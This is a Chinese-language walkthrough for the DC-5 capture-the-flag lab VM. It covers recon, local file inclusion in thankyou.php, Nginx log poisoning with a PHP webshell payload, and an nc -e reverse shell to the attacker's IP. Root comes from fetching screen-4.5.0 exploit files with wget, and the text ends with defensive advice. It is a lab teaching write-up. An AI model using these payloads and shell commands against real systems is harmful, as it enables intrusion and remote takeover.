DC系列靶机丨DC5
字数 1151 2025-08-11 17:40:08
DC5靶机渗透测试详细教学文档
信息收集阶段
1. 确定目标主机IP
使用netdiscover工具扫描本地网络,确定靶机IP地址:
netdiscover -i eth0 -r 192.168.84.0/24
2. 端口扫描
使用nmap进行端口扫描,识别开放的服务:
nmap -sV -p- 192.168.84.181
WEB应用测试
1. 目录扫描
使用工具如dirb、dirsearch或gobuster进行目录扫描,发现以下关键页面:
- http://192.168.84.181/footer.php
- http://192.168.84.181/thankyou.php
2. 网页观察
- footer.php页面每次刷新时显示的年份会变化(2017、2018、2019、2020)
- thankyou.php页面也有相同行为
- 其他页面的页脚固定显示2019年
- 推测thankyou.php可能包含footer.php文件
3. 文件包含漏洞测试
基于观察结果,猜测可能存在文件包含漏洞:
-
尝试通过file参数包含文件:
http://192.168.84.181/thankyou.php?file=/etc/passwd成功读取到/etc/passwd文件内容,确认存在本地文件包含(LFI)漏洞
-
服务器环境确认:
- 操作系统:Linux
- Web服务器:Nginx
漏洞利用
1. 利用Nginx日志写Webshell
-
获取Nginx日志信息:
- 默认日志路径:/var/log/nginx/
- 配置文件路径:/etc/nginx/nginx.conf
- 通过LFI读取配置文件确认日志位置
-
将PHP代码写入日志:
- 使用Burp Suite的Repeater模块
- 访问任意页面并在User-Agent中插入PHP代码:
<?php system($_GET['cmd']); ?>
-
通过LFI包含日志文件执行代码:
http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log&cmd=id
2. 获取Webshell
-
使用蚁剑连接:
- URL: http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log
- 密码: 1
-
或者直接通过浏览器执行命令:
http://192.168.84.181/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.84.174 10086
权限提升
1. 获取交互式shell
在蚁剑终端中执行:
python -c "import pty;pty.spawn('/bin/bash')"
2. 查找SUID提权机会
find / -user root -perm -4000 -print 2>/dev/null
发现存在screen-4.5.0,可能存在提权漏洞
3. Screen-4.5.0提权
- 搜索相关漏洞并下载PoC到本地
- 分析sh文件内容
- 在本地开启HTTP服务:
python -m http.server 10000 - 在靶机上下载PoC文件到/tmp目录:
cd /tmp wget http://<攻击机IP>:10000/dc5.sh wget http://<攻击机IP>:10000/exploit.c wget http://<攻击机IP>:10000/libhax.c - 执行提权脚本:
chmod +x dc5.sh ./dc5.sh - 等待编译完成后检查权限
总结
关键点
- 通过观察动态变化的页脚发现文件包含漏洞
- 利用Nginx日志文件写入Webshell
- 通过文件包含执行日志中的恶意代码
- 利用screen-4.5.0的SUID提权
防御建议
- 禁用不必要的文件包含功能
- 对文件包含参数进行严格过滤
- 将Web服务日志文件存放在Web目录之外
- 及时更新存在已知漏洞的软件
- 限制SUID权限的二进制文件数量
资源获取
关注"小白学安全"微信公众号,回复"DC"获取DC系列靶机镜像。